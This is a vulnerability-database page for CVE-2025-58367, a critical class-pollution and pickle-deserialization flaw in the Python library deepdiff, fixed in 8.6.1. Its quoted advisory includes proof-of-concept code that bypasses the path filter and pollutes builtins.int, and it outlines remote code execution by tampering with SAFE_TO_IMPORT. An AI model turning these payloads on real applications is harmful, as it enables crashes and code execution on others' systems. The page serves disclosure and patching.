VulnerabilityPublished 3 Sep 2025Updated 27 Oct 2026

CVE-2025-58367: DeepDiff Class Pollution

Affects deepdiffSource GCVE Database

Authoritative record:CVE-2025-58367· Critical 10.0

Not known to be exploited · CVSS 10.0 Critical : upgrade to 8.6.1 as a priority.

Data as of 27 Oct 2026, 17:27 UTC

CVSS 4.0 base score

10.0Critical

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 8.6.1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Attack Vector: Network
Attack Complexity: Low
Attack Requirements: None
Privileges Required: None
User Interaction: None
Vulnerable system confidentiality: High
Vulnerable system integrity: High
Vulnerable system availability: High
Subsequent system confidentiality: High
Subsequent system integrity: High
Subsequent system availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: None: The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without interaction from any human user, other than the attacker.
Vulnerable system confidentiality: High: There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Vulnerable system integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the vulnerable system. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the vulnerable system.
Vulnerable system availability: High: There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent system confidentiality: High: There is a total loss of confidentiality, resulting in all resources within the Subsequent System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Subsequent system integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Subsequent System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Subsequent System.
Subsequent system availability: High: There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Subsequent System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Subsequent System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 5 Sep 2025
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade deepdiff to 8.6.1.

Affected software

Product	Affected	Fixed in
PyPIdeepdiff	Affected >=5.0.0 <8.6.1	Fixed in 8.6.1

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary [Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization). The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled. Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution. ### Details The `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle). When it takes a dictionary, it is usually in the following format: ```py Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}}) ``` Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23 However, this code only runs when parsing the path from a string. The `_path_to_elements` function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53 This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter: ```py Delta( { "dictionary_item_added": { ( ("root", "GETATTR"), ("__init__", "GETATTR"), ("__globals__", "GETATTR"), ("PWNED", "GET"), ): 1337 } }, ) ``` Going back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the `Delta`, an attacker can add new entries to this `set`. This then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example. #### Using dict Usually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there. However, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python. Passing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list. ### Proof of Concept With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to `Delta` is assumed to be user-controlled. #### Denial of Service This script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked. ```py # ------------[ Setup ]------------ import pickle from deepdiff.helper import Opcode pollute_int = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "dictionary_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("__repr__", "GETATTR"), ("__globals__", "GETATTR"), ("__builtins__", "GET"), ("int", "GET"), ): "no longer a class" }, } ) assert isinstance(pollute_int, bytes) # ------------[ Exploit ]------------ # This could be some example, vulnerable, application. # The inputs above could be sent via HTTP, for example. from deepdiff import Delta # Existing dictionary; it is assumed that it contains # at least one entry, otherwise a different Delta needs to be # applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"} # Before pollution print(int("41") + 1) # Apply Delta to mydict result = mydict + Delta(pollute_int) print(int("1337")) ``` ```shell $ python poc_dos.py 42 Traceback (m

CWE-915Improperly Controlled Modification of Dynamically-Determined Object Attributes (opens in a new tab)
Base weaknessOWASP Top 10 A08:2025: Software or Data Integrity Failures (opens in a new tab)
The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.
Implementation
If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists.
Architecture and Design · Implementation
If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
Implementation · Input Validation
For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified.
OWASP Cheat Sheets
Mass Assignment (opens in a new tab)
Software Supply Chain Security (opens in a new tab)
Infrastructure as Code (opens in a new tab)
OWASP ASVS 4.0.3
V5.1.2 (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

References

Community reviews

Loading reviews…

Exploitation evidence

What to do

Affected software

Description

WeaknessesCWE-915

Technical details

References

Community reviews

Related threats